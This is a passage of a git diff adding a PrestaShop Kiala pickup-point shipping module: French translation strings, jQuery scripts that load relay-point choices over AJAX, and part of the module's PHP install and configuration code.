+$_MODULE['<{kiala}prestashop>kiala_4b6ffdb799efecd7f7daf29fb5cc65a0'] = 'Vous devez désactiver le module Kiala Small avant de pouvoir configurer ce module.'; +$_MODULE['<{kiala}prestashop>kiala_3f4a1cf6f58c73372d5b21d659bfec22'] = 'Le champ \"nom\" n\'est pas valide'; +$_MODULE['<{kiala}prestashop>kiala_c5dbb8108ebee351e69fe7fe8192224a'] = 'Le champ \"prénom\" n\'est pas valide'; +$_MODULE['<{kiala}prestashop>kiala_20e56cdda1531b91180159e7d765b986'] = 'Le champ \"e-mail\" n\'est pas valide'; +$_MODULE['<{kiala}prestashop>kiala_6e4b97c42cb8036557a2afe1dde9da8c'] = 'Le champ \"téléphone\" n\'est pas valide'; +$_MODULE['<{kiala}prestashop>kiala_877dfd93dd86e60ebee05d7e40a4c789'] = 'Le champ \"nom de votre site marchand\" n\'est pas valide'; +$_MODULE['<{kiala}prestashop>kiala_965b4d3179696a070458a9df3f051ebd'] = 'Le champ \"nombre de colis expédiés par an\" n\'est pas valide'; +$_MODULE['<{kiala}prestashop>kiala_83fd7bb4f9a1019a5a7b51513668a348'] = 'Le champ \"poids moyen d\'un colis\" n\'est pas valide'; +$_MODULE['<{kiala}prestashop>kiala_bf1c03ecd0d85d824c36b782ed8d19d8'] = 'Informations générales'; +$_MODULE['<{kiala}prestashop>kiala_0653369832646692ee210ed804110839'] = 'Le module Kiala avancé vous permet de proposer l’option de livraison de colis en point relais Kiala comme alternative à la livraison à domicile.'; +$_MODULE['<{kiala}prestashop>kiala_9c4aaeb0208ec8e74854aa53c7422274'] = 'Ainsi, vous pouvez offrir un choix de livraison supplémentaire à vos clients.'; +$_MODULE['<{kiala}prestashop>kiala_b13b4082804cdb5524368759a44f694e'] = 'La livraison de colis via Kiala est généralement 10 à 20% moins cher qu\'une livraison à domicile.'; +$_MODULE['<{kiala}prestashop>kiala_ad95ca20d3b2b7feb468a923de0b3ee5'] = 'Kiala est le leader en Europe des réseaux de points relais, ces derniers étant gérés par une plate-forme technologique dédiée, pour la livraison de colis aux consommateurs finaux et aux professionnels nomades. '; +$_MODULE['<{kiala}prestashop>kiala_f6c290acdea0a25a19c77d89001d914f'] = 'Les 7 000 points de collecte Kiala sont des commerces de proximité (marchands de journaux, stations essence etc.) où les gens peuvent récupérer, payer et/ou retourner leurs colis rapidement, lorsque cela leur convient au mieux.'; +$_MODULE['<{kiala}prestashop>kiala_29fda0e030f2208bfb41ac8853ab52c8'] = 'Plus d’informations sur Kiala :'; +$_MODULE['<{kiala}prestashop>kiala_d4d6a6191d4ec550609af5e31e40744a'] = 'Statut du module Kiala'; +$_MODULE['<{kiala}prestashop>kiala_6f7fd64c9bdad36bffbc6c23a46b922a'] = 'Le module Kiala est configuré et en ligne !'; +$_MODULE['<{kiala}prestashop>kiala_d05f95b7ab51d8945351dd8332ff5fe7'] = 'Cliquez ici pour voir et exporter vos commandes livrées avec Kiala'; +$_MODULE['<{kiala}prestashop>kiala_2085d85081fb4c6cd78b085f9de7918d'] = 'Les commandes exportées peuvent ensuite être importées dans le logiciel Pack&Ship de Kiala, Keops. Il synchronisera vos commandes avec votre compte Kiala.'; +$_MODULE['<{kiala}prestashop>kiala_5479636a6a7a576b0cbf0f671af9663d'] = 'Le module Kiala n\'est pas encore configuré, vous devez :'; +$_MODULE['<{kiala}prestashop>kiala_c6096e7865a698ee11ecef6e39feea39'] = 'Demander la création d’un compte chez Kiala'; +$_MODULE['<{kiala}prestashop>kiala_064a4b5242fb35fd5dbb011d6df9581c'] = '(champs à remplir ci-dessous) puis configurer et activer la livraison Kiala pour votre pays (voir'; +$_MODULE['<{kiala}prestashop>kiala_dcc959cc5ab4932b7b3831c7c8a510c9'] = 'configuration des pays'; +$_MODULE['<{kiala}prestashop>kiala_9371d7a2e3ae86a00aab4771e39d255d'] = ')'; +$_MODULE['<{kiala}prestashop>kiala_f09ea5dca3d187c50a634239778a5a3c'] = 'Activer \"allow_url_fopen\"'; +$_MODULE['<{kiala}prestashop>kiala_c7760f2c36d4e647e8a254cef51cbae8'] = 'Activer cURL'; +$_MODULE['<{kiala}prestashop>kiala_79dd740444a2b21fc8904b849dbb7c2a'] = 'Configurer un dossier d\'export valide'; +$_MODULE['<{kiala}prestashop>kiala_c603497d224d00e921618e0ae1651cac'] = 'Nom :'; +$_MODULE['<{kiala}prestashop>kiala_d2cacc542d8dd31bd89f8defed1b55ad'] = 'Prénom :'; +$_MODULE['<{kiala}prestashop>kiala_df1555fe48479f594280a2e03f9a8186'] = 'E-mail :'; +$_MODULE['<{kiala}prestashop>kiala_7c016fc61e51804b67f5afef55597ae7'] = 'Téléphone :'; +$_MODULE['<{kiala}prestashop>kiala_61f0fa926f97eafb392975ed79cebb4a'] = 'Nom de votre site marchand :'; +$_MODULE['<{kiala}prestashop>kiala_ac34d5934d881fd908a76d55f060fbc5'] = 'Nombre de colis par an :'; +$_MODULE['<{kiala}prestashop>kiala_df95bcb1b83bf1e0b26bfe3f1c2b6d81'] = 'Poids moyen d\'un colis :'; +$_MODULE['<{kiala}prestashop>kiala_efc3bcebe3b11474027090395185edd2'] = 'Envoyer la demande'; +$_MODULE['<{kiala}prestashop>kiala_d4251f12ae46cfbe6afc506d9598bed7'] = 'Votre enregistrement effectif, vous serez contacté sous peu.'; +$_MODULE['<{kiala}prestashop>kiala_ef0932992a07b54437aaf05db94f754b'] = 'Comment intégrer au mieux l\'option Kiala sur la page de commande ?'; +$_MODULE['<{kiala}prestashop>kiala_676b9df388173c21960734237af8f0f0'] = 'En proposant l’option de transport Kiala, vous offrez plus de facilité de livraison à vos clients, tout en faisant des économies sur les frais de livraison. Il est important de bien positionner l\'option Kiala sur la page de commande. En suivant les recommandations de positionnement de Kiala, vous pouvez atteindre un impact du service jusqu\'à 3 fois supérieur.'; +$_MODULE['<{kiala}prestashop>kiala_4bb82a627a48ab582bf88684dd9fe953'] = 'Les éléments clés pour un bon positionnement sont :'; +$_MODULE['<{kiala}prestashop>kiala_c93ce97e160e755533add6790407ffe3'] = 'Kiala proposé comme premier choix dans la liste des options de livraison'; +$_MODULE['<{kiala}prestashop>kiala_e83ca24e479d10cd0db75f3ec0d279ad'] = 'Le transporteur Kiala est pré-cliqué par défaut'; +$_MODULE['<{kiala}prestashop>kiala_b36e95a5971bcaadd6f1058eb2656867'] = 'Le transporteur Kiala est proposé avec des frais de livraison inférieurs à ceux de la livraison à domicile'; +$_MODULE['<{kiala}prestashop>kiala_b282520e8dc7f64744de30d58deb0eaa'] = 'Avantages de l\'utilisation de Kiala'; +$_MODULE['<{kiala}prestashop>kiala_2f54697e42636058ba48d27d284fc3b7'] = 'Cliquez ici pour en savoir plus'; +$_MODULE['<{kiala}prestashop>kiala_839e391bcf6534783828d7281ff85372'] = 'Le module Kiala avancé vous permet de proposer l’option de livraison de colis en point relais Kiala comme alternative à la livraison à domicile. Ainsi, vous pouvez offrir un choix de livraison supplémentaire à vos clients.'; +$_MODULE['<{kiala}prestashop>kiala_8737c3cdca1590b1a28313f3bed10bf1'] = ' En outre, la livraison de colis via Kiala est généralement 10 à 20% moins cher qu\'une livraison à domicile.'; +$_MODULE['<{kiala}prestashop>kiala_5865ab831c00ddcc3bb068b3fd6884aa'] = 'Kiala est le leader en Europe des réseaux de points relais, ces derniers étant gérés par une plate-forme technologique dédiée, pour la livraison de colis aux consommateurs finaux et aux professionnels nomades. Les 7 000 points de collecte Kiala sont des commerces de proximité (marchands de journaux, stations essence etc.) où les gens peuvent récupérer, payer et/ou retourner leurs colis rapidement, lorsque cela leur convient au mieux.'; +$_MODULE['<{kiala}prestashop>kiala_9b4be0084a0657f91204a785f10b7cb8'] = ' La plate-forme technologique Kiala automatise toutes les activités de transport et de livraison (Tracking des colis, notification automatique à l\'arrivée des colis, rappel, paiement à la livraison, etc.)'; +$_MODULE['<{kiala}prestashop>kiala_2a9d4295be05c1a71e2ff12d5818853c'] = 'Kiala est disponible sur la majorité des pure players leaders tels que AchatVIP, Amazon, Bol, BuyVIP, CDiscount, Privalia, Sarenza etc., mais aussi pour les boutiques multi-canal comme Esprit, Etam, H&M, Nespresso, Promod etc. et les entreprises de vente à distance traditionnelles telles que Bertelsmann, Neckermann, Yves Rocher etc.'; +$_MODULE['<{kiala}prestashop>kiala_735b8902dc253661900aa1b0e5e9c793'] = 'Ce module peut être utilisé pour la Belgique, la France, le Luxembourg, les Pays-Bas et l’Espagne.'; +$_MODULE['<{kiala}prestashop>kiala_318b4b55c7ca8be6e1129b5237e85d57'] = 'Ce module comprend une intégration très complète de Kiala, nécessitant un nombre d\'expédition d\'au moins 10 colis par jour. Vous devrez signer un contrat de Kiala et obtenir un numéro d\'identification de Kiala afin d\'exploiter ce module. Dans le cas contraire, vous pouvez utiliser l\'autre Addon Kiala «Kiala Light\".'; +$_MODULE['<{kiala}prestashop>kiala_8135ec72a5d7f1ed8e29d61a4e89d7a5'] = 'Réglages avancés de Kiala'; +$_MODULE['<{kiala}prestashop>kiala_914f0f5c309f9de01aa33c6a2bb92da2'] = 'Dossier d\'export'; +$_MODULE['<{kiala}prestashop>kiala_d89658c392fc66e0e5f7e4d2e1f2cc5d'] = 'Préfixe pour les numéros des commandes'; +$_MODULE['<{kiala}prestashop>kiala_fd20703544b81f370f0ff6e67c2f5746'] = 'Exporter à chaque commande ?'; +$_MODULE['<{kiala}prestashop>kiala_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{kiala}prestashop>kiala_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{kiala}prestashop>kiala_7b97ae27d5d373dc281178fab4c61ac4'] = 'Si actif un fichier d\'export Kiala sera créé à chaque fois qu\'une commande est passée.'; +$_MODULE['<{kiala}prestashop>kiala_9d9111b77edd02d8c7a2b3b3c02bb1c2'] = 'Critère de suivi des paquets ?'; +$_MODULE['<{kiala}prestashop>kiala_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{kiala}prestashop>kiala_a240fa27925a635b08dc28c9e4f9216d'] = 'Commande'; +$_MODULE['<{kiala}prestashop>kiala_d4dccb8ca2dac4e53c01bd9954755332'] = 'Enregistrer les réglages'; +$_MODULE['<{kiala}prestashop>kiala_4d7400be7c3ed888ad93f5355c1f8e55'] = 'Aucun relais Kiala trouvé'; +$_MODULE['<{kiala}prestashop>kiala_564685655aeebb03d711663ecdc551ee'] = 'Le dossier d\'export n\'existe pas.'; +$_MODULE['<{kiala}prestashop>kiala_a34c9abff690c30540446f5b1e47cc6c'] = 'Le délai de préparation est invalide.'; +$_MODULE['<{kiala}prestashop>kiala_59b513fa6fab9c46783cde69dde67f1a'] = 'Pays invalide.'; +$_MODULE['<{kiala}prestashop>kiala_c888438d14855d7d96a2724ee9c306bd'] = 'Réglages mis à jour'; +$_MODULE['<{kiala}prestashop>kiala_e67c1f8b251cb7fa3b7a9730e892b234'] = 'Réglages par pays'; +$_MODULE['<{kiala}prestashop>kiala_59716c97497eb9694541f7c3d37b1a4d'] = 'Pays'; +$_MODULE['<{kiala}prestashop>kiala_1edcdad89b3a2245d759a169da1bf5a3'] = 'Identifiant'; +$_MODULE['<{kiala}prestashop>kiala_ea81440f2329d5216caa07f3f9a0d63f'] = 'Délai de préparation (jours)'; +$_MODULE['<{kiala}prestashop>kiala_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Actif'; +$_MODULE['<{kiala}prestashop>kiala_7dce122004969d56ae2e0245cb754d35'] = 'Editer'; +$_MODULE['<{kiala}prestashop>kiala_69fa5d0a2d41883b14016167b49f5c5f'] = 'Identifiant Kiala :'; +$_MODULE['<{kiala}prestashop>kiala_d35e9defb4810dea1304a4b2a873c88f'] = 'Délai de préparation :'; +$_MODULE['<{kiala}prestashop>kiala_3d091e856cb7615d1ccb96bc759b5a92'] = 'Actif :'; +$_MODULE['<{kiala}prestashop>kiala_f65fa952b6097ffb1529914992ef532b'] = 'Si inactif Kiala ne sera pas disponible pour les clients de ce pays'; +$_MODULE['<{kiala}prestashop>kiala_38fb7d24e0d60a048f540ecb18e13376'] = 'Enregistrer'; +$_MODULE['<{kiala}prestashop>kiala_19f823c6453c2b1ffd09cb715214813d'] = 'Champ requis'; +$_MODULE['<{kiala}prestashop>kiala_630f6dc397fe74e52d5189e2c80f282b'] = 'Retour à la liste'; +$_MODULE['<{kiala}prestashop>orderdetail_8bfb1a91719f4af3785a59bc9d66fd8f'] = 'Votre commande est livrée par Kiala'; +$_MODULE['<{kiala}prestashop>orderdetail_2be7f2a9c726e7751f463b514af98c71'] = 'Cliquez ici pour suivre votre commande'; +$_MODULE['<{kiala}prestashop>point-1-4_3cdfc1acfd5f159c7be997ac2f8864b0'] = 'Relais Kiala'; +$_MODULE['<{kiala}prestashop>point-1-4_1daeb62f5ea9a861590e3cbcb41c9b20'] = 'Vous avez choisi une livraison vers un relais Kiala. Kiala permet aux colis d\'être livré à des boutiques près de chez vous avec des horaires d\'ouverture larges et pas de files d\'attente.'; +$_MODULE['<{kiala}prestashop>point-1-4_3b80b03d9ae2f392c26a85edbde62b79'] = '(Plus d\'informations...)'; +$_MODULE['<{kiala}prestashop>point-1-4_e31d53195a6270ac33bd62eb82b5468c'] = 'D\'après votre adresse, nous recommandons le point relais suivant :'; +$_MODULE['<{kiala}prestashop>point-1-4_baf1380998f08358a21c71f54c1e7108'] = 'Vous avez choisi ce relais Kiala :'; +$_MODULE['<{kiala}prestashop>point-1-4_12c060997f9a81e9a8e9c33c32e26f47'] = 'Point relais que vous avez sélectionné lors de votre dernière commande :'; +$_MODULE['<{kiala}prestashop>point-1-4_cbaa2c3859500c415e8a915aed887d4b'] = 'Nous sommes désolés mais le relais Kiala'; +$_MODULE['<{kiala}prestashop>point-1-4_38725d2a1f46a87a51f389a21ddc8bea'] = 'que vous avez choisi pour votre dernière commande n\'est pas disponible actuellement.'; +$_MODULE['<{kiala}prestashop>point-1-4_8dbf6ea447f1b00b033e5b9e68b57ba3'] = 'Vous pouvez choisir un autre point relais sur la carte ci-dessous :'; +$_MODULE['<{kiala}prestashop>point-1-4_f2a196847c8d96e62aedeada1878e5c3'] = 'Votre navigateur web ne prend pas en charge les iFrames.'; +$_MODULE['<{kiala}prestashop>point-1-4_0d6179df2b8bf69b27e456c879c46166'] = 'Vous n\'êtes pas chez vous quand le livreur passe ? Kiala vous propose la solution idéale : vous passez prendre le colis vous-même, dans un lieu de votre choix, quand cela vous convient le mieux.'; +$_MODULE['<{kiala}prestashop>point-1-4_99872952206ca8fe5431b821e4e0f2c0'] = 'Votre colis livré à proximité'; +$_MODULE['<{kiala}prestashop>point-1-4_a6f674579ba34ba75deaf6a4f88c65e2'] = 'Votre colis est livré dans un commerce de proximité (épicerie, librairie, pressing, etc.). Il y a donc forcément un Relais Kiala près de chez vous, de votre lieu de travail ou de l’école de vos enfants.'; +$_MODULE['<{kiala}prestashop>point-1-4_56f1eec4895a5d2e46ebc63692f68874'] = 'Des heures d’ouverture étendues et flexibles'; +$_MODULE['<{kiala}prestashop>point-1-4_8b91d0379f62529dde8d7b1b614e671f'] = 'Le matin dès l’aurore, le midi, le soir jusqu’à 19 ou 20 heures, le samedi et parfois même le dimanche : passez prendre votre colis où et quand cela vous convient le mieux.'; +$_MODULE['<{kiala}prestashop>point-1-4_eb0d50e5589c77f7ce33aa82629fcd4d'] = 'Prévenu(e) immédiatement'; +$_MODULE['<{kiala}prestashop>point-1-4_54302d88d8c0c0cab9664c7f47171971'] = 'Votre colis est arrivé ? Vous êtes immédiatement averti par e-mail, SMS ou message téléphonique. Via le site internet de Kiala, vous pouvez suivre votre colis à chaque étape de son acheminement.'; +$_MODULE['<{kiala}prestashop>point-1-4_6a9f7e6d6ecf823ea8c6c2443f480888'] = 'Plus de sécurité'; +$_MODULE['<{kiala}prestashop>point-1-4_193f44cfc5d63ad30662b4f02e76c63d'] = 'Une preuve d’identité est demandée en échange de votre colis. Vous signez sur le terminal Kiala à la réception du colis.'; +$_MODULE['<{kiala}prestashop>point-1-4_e16b5b7f26f54214445cbe38d72c2828'] = 'Rapide'; +$_MODULE['<{kiala}prestashop>point-1-4_8d5d5d5e14bb0fee2d100ea7d98bedb8'] = 'Votre colis est livré en un clin d’oeil. Sans faire la queue. Sans stress.'; +$_MODULE['<{kiala}prestashop>point_3cdfc1acfd5f159c7be997ac2f8864b0'] = 'Relais Kiala'; +$_MODULE['<{kiala}prestashop>point_1daeb62f5ea9a861590e3cbcb41c9b20'] = 'Vous avez choisi une livraison vers un relais Kiala. Kiala permet aux colis d\'être livré à des boutiques près de chez vous avec des horaires d\'ouverture larges et pas de files d\'attente.'; +$_MODULE['<{kiala}prestashop>point_3b80b03d9ae2f392c26a85edbde62b79'] = '(Plus d\'informations...)'; +$_MODULE['<{kiala}prestashop>point_e31d53195a6270ac33bd62eb82b5468c'] = 'D\'après votre adresse, nous recommandons le point relais suivant :'; +$_MODULE['<{kiala}prestashop>point_baf1380998f08358a21c71f54c1e7108'] = 'Vous avez choisi ce relais Kiala :'; +$_MODULE['<{kiala}prestashop>point_12c060997f9a81e9a8e9c33c32e26f47'] = 'Point relais que vous avez sélectionné lors de votre dernière commande :'; +$_MODULE['<{kiala}prestashop>point_cbaa2c3859500c415e8a915aed887d4b'] = 'Nous sommes désolés mais le relais Kiala'; +$_MODULE['<{kiala}prestashop>point_38725d2a1f46a87a51f389a21ddc8bea'] = 'que vous avez choisi pour votre dernière commande n\'est pas disponible actuellement.'; +$_MODULE['<{kiala}prestashop>point_8dbf6ea447f1b00b033e5b9e68b57ba3'] = 'Vous pouvez choisir un autre point relais sur la carte ci-dessous :'; +$_MODULE['<{kiala}prestashop>point_f2a196847c8d96e62aedeada1878e5c3'] = 'Votre navigateur web ne prend pas en charge les iFrames.'; +$_MODULE['<{kiala}prestashop>point_0d6179df2b8bf69b27e456c879c46166'] = 'Vous n\'êtes pas chez vous quand le livreur passe ? Kiala vous propose la solution idéale : vous passez prendre le colis vous-même, dans un lieu de votre choix, quand cela vous convient le mieux.'; +$_MODULE['<{kiala}prestashop>point_99872952206ca8fe5431b821e4e0f2c0'] = 'Votre colis livré à proximité'; +$_MODULE['<{kiala}prestashop>point_a6f674579ba34ba75deaf6a4f88c65e2'] = 'Votre colis est livré dans un commerce de proximité (épicerie, librairie, pressing, etc.). Il y a donc forcément un Relais Kiala près de chez vous, de votre lieu de travail ou de l’école de vos enfants.'; +$_MODULE['<{kiala}prestashop>point_56f1eec4895a5d2e46ebc63692f68874'] = 'Des heures d’ouverture étendues et flexibles'; +$_MODULE['<{kiala}prestashop>point_8b91d0379f62529dde8d7b1b614e671f'] = 'Le matin dès l’aurore, le midi, le soir jusqu’à 19 ou 20 heures, le samedi et parfois même le dimanche : passez prendre votre colis où et quand cela vous convient le mieux.'; +$_MODULE['<{kiala}prestashop>point_eb0d50e5589c77f7ce33aa82629fcd4d'] = 'Prévenu(e) immédiatement'; +$_MODULE['<{kiala}prestashop>point_54302d88d8c0c0cab9664c7f47171971'] = 'Votre colis est arrivé ? Vous êtes immédiatement averti par e-mail, SMS ou message téléphonique. Via le site internet de Kiala, vous pouvez suivre votre colis à chaque étape de son acheminement.'; +$_MODULE['<{kiala}prestashop>point_6a9f7e6d6ecf823ea8c6c2443f480888'] = 'Plus de sécurité'; +$_MODULE['<{kiala}prestashop>point_193f44cfc5d63ad30662b4f02e76c63d'] = 'Une preuve d’identité est demandée en échange de votre colis. Vous signez sur le terminal Kiala à la réception du colis.'; +$_MODULE['<{kiala}prestashop>point_e16b5b7f26f54214445cbe38d72c2828'] = 'Rapide'; +$_MODULE['<{kiala}prestashop>point_8d5d5d5e14bb0fee2d100ea7d98bedb8'] = 'Votre colis est livré en un clin d’oeil. Sans faire la queue. Sans stress.'; +$_MODULE['<{kiala}prestashop>exportformat_127469a6b4253ebb77adccc0dd48461e'] = 'M.'; +$_MODULE['<{kiala}prestashop>exportformat_29e32764941c30d1bb41c601014fbdbd'] = 'Mme.'; +$_MODULE['<{kiala}prestashop>exportformat_eb49c566b015e6564475679a5bae653a'] = 'Champ'; +$_MODULE['<{kiala}prestashop>exportformat_0bcafe79c85ee3da0cc5af1a8beeb99a'] = 'est obligatoire mais n\'a pas été trouvé.'; +$_MODULE['<{kiala}prestashop>exportformat_5bc815bea1aa590a147545bd8d8243c1'] = 'est trop long.'; +$_MODULE['<{kiala}prestashop>exportformat_b544d57c54d043353f79d07fd1f4c8b0'] = 'a un format incorrect.'; diff --git a/modules/kiala/kiala-1-4.js b/modules/kiala/kiala-1-4.js new file mode 100755 index 0000000..f35af82 --- /dev/null +++ b/modules/kiala/kiala-1-4.js @@ -0,0 +1,89 @@ +/** + * PrestaShop 1.4.x compatibility file + */ + + +function displayKialaPoint(content) +{ + $('#kiala').remove(); + $('#id_carrier' + KIALA_ID_CARRIER).parents('tr').after(content); +} + +$('input[name=id_carrier]').change(function(event) +{ + if ($(this).val() == KIALA_ID_CARRIER) + getKialaPoint(); + else + displayKialaPoint(''); + if (!IS_OPC) + updateCarrierInCart($(this).val()); +}); + +function getKialaPoint() +{ + $.ajax( + { + type: 'POST', + url: KIALA_MODULE_DIR + 'ajax.php', + data: {'token' : KIALA_TOKEN, + 'page_name' : PAGE_NAME}, + success: function(html) + { + displayKialaPoint(html); + }, + error: function(xhr, ajaxOptions, thrownError) + { + //@TODO display error tpl with displaykialapoint() + //console.log(thrownError); + // Put debug to see error detail + } + }); +} + +function updateCarrierInCart(id_carrier) +{ + $.ajax( + { + type: 'POST', + url: KIALA_MODULE_DIR + 'ajax.php', + data: {'token' : KIALA_TOKEN, + 'id_carrier' : id_carrier}, + error: function(xhr, ajaxOptions, thrownError) + { + //console.log(thrownError); + // Put debug to see error detail + } + }); +} + +$(document).ready(function() +{ + $('#search_link').live('click', function(event) + { + displayKialaPoint( + ""); + + /*$.fancybox(this.href + , + { + //'autoDimensions' : true, + 'width' : 550, + 'height' : 400, + 'transitionIn' : 'none', + 'transitionOut' : 'none', + 'type' : 'iframe', + 'onComplete' : function() + { + // Rewrite some css properties of Fancybox + $('#fancybox-wrap').css('width', ''); + $('#fancybox-content').css('background-color', ''); + $('#fancybox-content').css('border', ''); + } + }) + ;*/ + + event.preventDefault(); + }); +}); \ No newline at end of file diff --git a/modules/kiala/kiala.js b/modules/kiala/kiala.js new file mode 100755 index 0000000..8918279 --- /dev/null +++ b/modules/kiala/kiala.js @@ -0,0 +1,10 @@ +$(document).ready(function() +{ + // Display Kiala service description + $('#more_info').fancybox({ + 'width' : 600, + 'height' : 400, + 'onStart' : function(){$('#info_content').show();}, + 'onCleanup' : function(){$('#info_content').hide();} + }); +}); \ No newline at end of file diff --git a/modules/kiala/kiala.php b/modules/kiala/kiala.php new file mode 100755 index 0000000..33985ac --- /dev/null +++ b/modules/kiala/kiala.php @@ -0,0 +1,958 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaRequest.php'); +require_once(_PS_MODULE_DIR_.'kiala/classes/ExportFormat.php'); +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaOrder.php'); +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaCountry.php'); + +class Kiala extends Module +{ + protected $default_preparation_delay = 2; + protected $countries = array('BE', 'ES', 'FR', 'NL', 'GB'); + /** + * @var bool $compatibility_mode set to true if for version 1.4 + */ + protected $compatibility_mode; + + protected $account_request_form_errors = array(); + + protected $_config = array( + 'name' => 'Kiala', + 'id_tax' => 1, + 'active' => true, + 'deleted' => 0, + 'shipping_handling' => false, + 'range_behavior' => 0, + 'is_module' => false, + 'delay' => array('fr' => 'Livraison en point relais Kiala', + 'en' => 'Delivery at Kiala points', + 'es' => 'Entrega en el punto Kiala'), + 'is_module' => true, + 'shipping_external'=> true, + 'external_module_name'=> 'kiala', + 'need_range' => true, + 'price' => 2.99, + ); + + public function __construct() + { + $this->name = 'kiala'; + $this->author = 'PrestaShop'; + $this->tab = 'shipping_logistics'; + $this->version = '1.3.3'; + $this->module_key = '9d77262bd27f8a9340855def9c137832'; + $this->compatibility_mode = version_compare(_PS_VERSION_, '1.5.0.0', '<'); + $this->limited_countries = array('es', 'fr'); + + parent::__construct(); + + $this->page = basename(__FILE__, '.php'); + $this->displayName = $this->l('Kiala Comprehensive datafile integration – Kiala contract holders only'); + $this->description = $this->l('Offer delivery choice and savings to your customers. Activate the Kiala collection Point delivery option.'); + $this->register_link = 'http://www.kiala.com'; + } + + public function install() + { + global $defaultCountry; + + if (!parent::install() OR + !$this->installExternalCarrier($this->_config) OR + !Configuration::updateValue('EXTERNAL_CARRIER_OVERCOST', 5) OR + !$this->registerHook('updateCarrier') OR + !$this->registerHook('extraCarrier') OR + !$this->registerHook('newOrder') OR + !$this->registerHook('processCarrier') OR + !$this->registerHook('orderDetailDisplayed')) + return false; + + // Install SQL + include(dirname(__FILE__).'/sql-install.php'); + foreach ($sql as $s) + if (!Db::getInstance()->Execute($s)) + return false; + + // Create country settings + foreach ($this->countries AS $iso_code) + { + $id_country = Country::getByIso($iso_code); + if ($id_country) + { + $kiala_country = new KialaCountry(); + $kiala_country->id_country = $id_country; + $kiala_country->preparation_delay = $this->default_preparation_delay; + $kiala_country->active = 0; + // Is this the merchant home country? + if ($id_country == Configuration::get('PS_COUNTRY_DEFAULT')) + $kiala_country->pickup_country = 1; + $kiala_country->save(); + } + } + + $result = Db::getInstance()->getRow(' + SELECT `id_tab` + FROM `'._DB_PREFIX_.'tab` + WHERE `class_name` = "AdminKiala"'); + + if (!$result) + { + /*tab install */ + $tab = new Tab(); + $tab->class_name = 'AdminKiala'; + $tab->id_parent = (int)Tab::getIdFromClassName('AdminOrders'); + $tab->module = 'kiala'; + $tab->name[(int)Configuration::get('PS_LANG_DEFAULT')] = $this->l('Kiala'); + $tab->add(); + @copy(_PS_MODULE_DIR_.'kiala/logo.gif', _PS_ADMIN_IMG_.'/AdminKiala.gif'); + } + + // If module isn't installed, set default values + if (!Configuration::get('KIALA_VERSION')) + { + Configuration::updateValue('KIALA_VERSION', $this->version); + Configuration::updateValue('KIALA_EXPORT_FOLDER', str_replace('\\', '/', _PS_MODULE_DIR_).'kiala/export/'); + Configuration::updateValue('KIALA_EXPORT_SINGLE', '1'); + Configuration::updateValue('KIALA_SECURITY_TOKEN', Tools::passwdGen(30)); + Configuration::updateValue('KIALA_SEARCH_BY', 'order'); + } + + return true; + } + + public function getContent() + { + global $cookie, $currentIndex; + + $this->_html .= '

        ' . $this->l('Kiala Comprehensive datafile integration – Kiala contract holders only').'

        '; + + // Checking Extension + if (!extension_loaded('curl') || !ini_get('allow_url_fopen')) + { + if (!extension_loaded('curl') && !ini_get('allow_url_fopen')) + return $this->_html.$this->displayError($this->l('You must enable cURL extension and allow_url_fopen option on your server if you want to use this module.')); + if (!extension_loaded('curl')) + return $this->_html.$this->displayError($this->l('You must enable cURL extension on your server if you want to use this module.')); + if (!ini_get('allow_url_fopen')) + return $this->_html.$this->displayError($this->l('You must enable allow_url_fopen option on your server if you want to use this module.')); + } + + // Only one Kiala module can be active at any time + $kiala_small = Module::getInstanceByName('kialasmall'); + if (Validate::isLoadedObject($kiala_small) && $kiala_small->active) + { + $this->active = false; + return $this->_html.$this->displayError($this->l('You must deactivate the Kiala Small module before you can configure this module.')); + } + + // Process POST & GET + $this->_postProcess(); + + if (Tools::isSubmit('editCountry') && Tools::getValue('id_kiala_country')) + { + $this->_html .= $this->_displayEditCountry(Tools::getValue('id_kiala_country')); + return $this->_html; + } + + $this->_html .= '

        '; + + $this->_displayGeneralInformation(); + $this->_displayStatus(); + $this->_displayDescription(); + $countries = KialaCountry::getKialaCountries(); + $this->_displayCountries($countries, $cookie->id_lang); + $this->_displayForm(); + + return $this->_html; + } + + private function processAccountRequestForm() + { + if (!Tools::isSubmit('submit_account_request')) + return false; + + // Check inputs validity + if (Tools::isEmpty(Tools::getValue('lastname')) || !Validate::isName(Tools::getValue('lastname'))) + $this->account_request_form_errors[] = $this->l('Field "lastname" is not valide'); + if (Tools::isEmpty(Tools::getValue('firstname')) || !Validate::isName(Tools::getValue('firstname'))) + $this->account_request_form_errors[] = $this->l('Field "firstname" is not valide'); + if (Tools::isEmpty(Tools::getValue('email')) || !Validate::isEmail(Tools::getValue('email'))) + $this->account_request_form_errors[] = $this->l('Field "e-mail" is not valide'); + if (Tools::isEmpty(Tools::getValue('phone')) || !Validate::isPhoneNumber(Tools::getValue('phone'))) + $this->account_request_form_errors[] = $this->l('Field "phone number" is not valide'); + if (Tools::isEmpty(Tools::getValue('shop_name')) || !Validate::isGenericName(Tools::getValue('shop_name'))) + $this->account_request_form_errors[] = $this->l('Field "shop name" is not valide'); + if (!is_numeric(Tools::getValue('packages_per_year')) || Tools::getValue('packages_per_year') <= 0) + $this->account_request_form_errors[] = $this->l('Field "packages per year" is not valide'); + if (!is_numeric(Tools::getValue('package_weight')) || Tools::getValue('package_weight') <= 0) + $this->account_request_form_errors[] = $this->l('Field "average weight of a package" is not valide'); + + // Validation error dont send mail + if (count($this->account_request_form_errors)) + return false; + + return true; + } + + private function _displayGeneralInformation() + { + $this->_html .= '
        + '.$this->l('General Information').''; + $this->_html .= '
        '; + $this->_html .= '

        ' + .$this->l('Kiala advanced module allows you to offer the option package delivery in Kiala Point as an alternative to home delivery.').' + '.$this->l('Thus, you can offer a choice of extra delivery to your customers.').' +

